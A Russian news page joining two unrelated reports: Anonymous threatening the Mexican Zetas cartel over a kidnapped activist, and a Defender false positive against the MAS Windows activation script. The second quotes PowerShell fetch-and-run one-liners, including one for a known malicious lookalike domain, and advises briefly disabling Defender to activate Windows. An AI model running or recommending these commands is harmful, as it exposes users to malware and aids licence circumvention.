Анонимусы бросили вызов наркокартелю

Анонимусы бросили вызов наркокартелю

Онлайн-коллектив Анонимусов угрожает мексиканскому наркокартелю, подозреваемому в похищении одного из активистов коллектива в Веракрузе, такую сенсационную новость сообщил портал news.cnet.com. «Вы совершили огромную ошибку, когда похитили одного из нас. Освободите его. И если с ним что-нибудь случится, вы (censored) навсегда запомните предстоящее 5 ноября» – заявили представители группы активистов в испаноязычном видеоролике на YouTube, демонстрирующем здания, разрушаемые взрывами.

Дата 5 ноября именуется днем Гая Фокса, названного так в честь британца, который в 1604 году пытался взорвать здание парламента как участник Порохового заговора. Имя Фокса было увековечено в 2006 году, когда на экраны вышел фильм ««V» значит Вендетта», рассказывающий о борце за свободу, который применял террористические методы в борьбе с тоталитарным режимом.

«Мы требуем его освобождения» – сказал человек, одетый в костюм с галстуком и маску из фильма ««V» значит Вендетта», которая стала своеобразным символом Анонимусов. «Мы хотим, чтобы армия и ВМС знали, что мы сыты по горло деятельностью преступной группировки «Зета», специализирующейся на похищении людей, воровстве и вымогании денег различными способами». 

Видео, размещенное месяцем ранее, также грозит разоблачением журналистам, таксистам и сотрудникам полиции, которые, как утверждается, замечены в сотрудничестве с картелем. 
«Мы не можем защитить сами себя при помощи оружия, но если мы можем сделать это с помощью их автомобилей, домов, баров, борделей и чего-либо еще из их собственности, – говорится в этом видео – то это не будет сложно осуществить. Мы все знаем, кто они и где они.»

Мужчина на видео говорит с акцентом, используя испанский и мексиканский сленг, соответствующий Хроникам Хьюстона.

Данное видео прямо не идентифицирует пропавшего члена группы активистов, но говорит о том, что он был похищен, когда осуществлял операцию Paperstorm, которая связана с развешиванием листовок и других печатных сообщений в общественных местах.

Это дерзкое видео от Анонимусов, которые как правило выбирают своими целями корпорации, правительственные организации и правоохранительные органы, которых считают коррумпированными и морально деградировавшими. Министерство Юстиций США заявило, что преступная группировка «Зета» «может быть наиболее технологически оснащенной, изощренной  и жестокой» из незаконных вооруженных бандформирований в Мексике.

news.cnet.com. «Вы совершили огромную ошибку, когда похитили одного из нас. Освободите его. И если с ним что-нибудь случится, вы (censored) навсегда запомните предстоящее 5 ноября» – заявили представители группы активистов в испаноязычном видеоролике на YouTube, демонстрирующем здания, разрушаемые взрывами." />

Microsoft Defender посчитал MAS вредоносом и заблокировал активацию Windows

Microsoft, похоже, решила всерьёз взяться за Microsoft Activation Scripts (MAS) — популярный инструмент с открытым исходным кодом для активации Windows. Компания знает, что под именем MAS в Сети давно распространяются фейковые сайты и зловредные скрипты, и начала автоматически блокировать их с помощью Microsoft Defender. Проблема в том, что под раздачу внезапно попал и настоящий MAS.

Пользователи заметили, что при попытке запустить команду активации через PowerShell система резко обрывает процесс, а Defender помечает скрипт как угрозу с детектом Trojan:PowerShell/FakeMas.DA!MTB.

Выглядит тревожно — но, судя по всему, это обычное ложноположительное срабатывание, а не целенаправленная «война» Microsoft с оригинальным проектом.

Важно понимать контекст. Совсем недавно разработчики MAS сами подтвердили, что в Сети появились поддельные сайты, распространяющие вредоносные версии скрипта. И вся разница между настоящей и фишинговой командой — в одном символе домена:

  • Оригинальный MAS:
    irm https://get.activated.win | iex
  • Вредоносная подделка:
    irm https://get.activate.win | iex
    (без буквы d)

По всей видимости, Microsoft добавила в чёрный список слишком широкий набор доменов — и вместе с фейком заблокировала легитимный адрес. Ирония ситуации в том, что антивирус может мешать безопасному скрипту, тогда как фишинговый вариант теоретически мог остаться незамеченным.

На данный момент пользователям, у которых Defender включён (а он активен по умолчанию), приходится временно отключать защиту в Центре безопасности, выполнять активацию и сразу же включать защиту обратно. Решение не самое приятное, но рабочее — при одном важном условии.

Критически важно внимательно проверять домен. Отключать защиту и запускать фишинговый скрипт — это прямой путь к заражению системы, утечке данных и другим крайне неприятным последствиям.

Скорее всего, Microsoft исправит фильтрацию в одном из ближайших обновлений сигнатур Defender.

RSS: Новости на портале Anti-Malware.ru